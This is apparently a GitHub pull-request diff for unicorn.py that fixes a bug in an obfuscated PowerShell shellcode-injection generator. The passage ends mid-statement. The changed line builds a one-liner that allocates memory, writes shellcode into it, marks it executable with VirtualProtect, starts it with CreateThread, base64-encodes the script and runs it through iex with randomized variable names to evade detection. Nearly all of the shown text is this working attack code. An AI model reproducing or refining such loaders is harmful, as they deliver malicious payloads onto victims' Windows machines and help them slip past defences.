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Update unicorn.py: Remove runtime error from obfuscation #178

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Update unicorn.py: Remove runtime error from obfuscation #178

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2 changes: 1 addition & 1 deletion unicorn.py
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Original file line number Diff line number Diff line change
Expand Up @@ -956,7 +956,7 @@ def gen_shellcode_attack(payload, ipaddr, port):
syswowsplit_2 = generate_random_string(3,4)

# one line shellcode injection with native x86 shellcode
powershell_code = (r'''$1111='$tttt=''[DllImport(("%s"))]public static extern IntPtr calloc(uint dwSize, uint amount);[DllImport("%s")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("%s")]public static extern IntPtr VirtualProtect(IntPtr lpStartAddress, uint dwSize, uint flNewProtect, out uint %s);[DllImport("%s")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$zzzz="%s";$wwww=Add-Type -pass -m $tttt -Name "%s" -names $Win32;$wwww=$wwww.replace("$Win32", "%s");[byte[]]$zzzz = $zzzz.replace("SHELLCODE_STUB","$randomized_byte_namex").replace("$randomized_byte_name", "0").Split(",");$gggg=0x$randstack;if ($zzzz.L -gt 0x$randstack){$gggg=$zzzz.L};$xxxx=$wwww::calloc(0x$randstack, 1);[UInt64]$tempvar = 0;for($iiii=0;$iiii -le($zzzz.Length-1);$iiii++){$wwww::memset([IntPtr]($xxxx.ToInt32()+$iiii), $zzzz[$iiii], 1)};$wwww::VirtualProtect($xxxx, 0x$randstack, 0x40, [Ref]$tempvar);$yyyy=[int]0x00;$wwww::CreateThread([int]0,$yyyy,$xxxx,0,0,1-1);';$hhhh=[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($1111));$2222="powershell";$4444="Windows";$5555 = "C:\$4444\$syswowsplit_1$syswowsplit_2\$4444$2222\v1.0\$2222";$5555 = $5555.replace("$syswowsplit_1", "sys");$5555 = $5555.replace("$syswowsplit_2", "wow64");$$truevalue = '%s';if([environment]::Is64BitOperatingSystem -eq '$$truevalue'){$2222= $5555};$fullcommand=" $2222 $noexit $hhhh";$fullcommand=$fullcommand.replace("$noexit", "-noexit -e");iex $fullcommand''' % (msv,kernel,kernel,tempvar_withoutdollar,msv,shellcode,randomize_service_name,Win32,true_mangle)).replace("SHELLCODE_STUB", mangle_shellcode)
powershell_code = (r'''$1111='$tttt=''[DllImport(("%s"))]public static extern IntPtr calloc(uint dwSize, uint amount);[DllImport("%s")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("%s")]public static extern IntPtr VirtualProtect(IntPtr lpStartAddress, uint dwSize, uint flNewProtect, out uint %s);[DllImport("%s")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$zzzz="%s";$wwww=Add-Type -pass -m $tttt -Name "%s" -names $Win32;[byte[]]$zzzz = $zzzz.replace("SHELLCODE_STUB","$randomized_byte_namex").replace("$randomized_byte_name", "0").Split(",");$gggg=0x$randstack;if ($zzzz.L -gt 0x$randstack){$gggg=$zzzz.L};$xxxx=$wwww::calloc(0x$randstack, 1);[UInt64]$tempvar = 0;for($iiii=0;$iiii -le($zzzz.Length-1);$iiii++){$wwww::memset([IntPtr]($xxxx.ToInt32()+$iiii), $zzzz[$iiii], 1)};$wwww::VirtualProtect($xxxx, 0x$randstack, 0x40, [Ref]$tempvar);$yyyy=[int]0x00;$wwww::CreateThread([int]0,$yyyy,$xxxx,0,0,1-1);';$hhhh=[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($1111));$2222="powershell";$4444="Windows";$5555 = "C:\$4444\$syswowsplit_1$syswowsplit_2\$4444$2222\v1.0\$2222";$5555 = $5555.replace("$syswowsplit_1", "sys");$5555 = $5555.replace("$syswowsplit_2", "wow64");$$truevalue = '%s';if([environment]::Is64BitOperatingSystem -eq '$$truevalue'){$2222= $5555};$fullcommand=" $2222 $noexit $hhhh";$fullcommand=$fullcommand.replace("$noexit", "-noexit -e");iex $fullcommand''' % (msv,kernel,kernel,tempvar_withoutdollar,msv,shellcode,randomize_service_name,true_mangle)).replace("SHELLCODE_STUB", mangle_shellcode)

# run it through a lame var replace
powershell_code = powershell_code.replace("$1111", var1).replace("$cccc", var2).replace(
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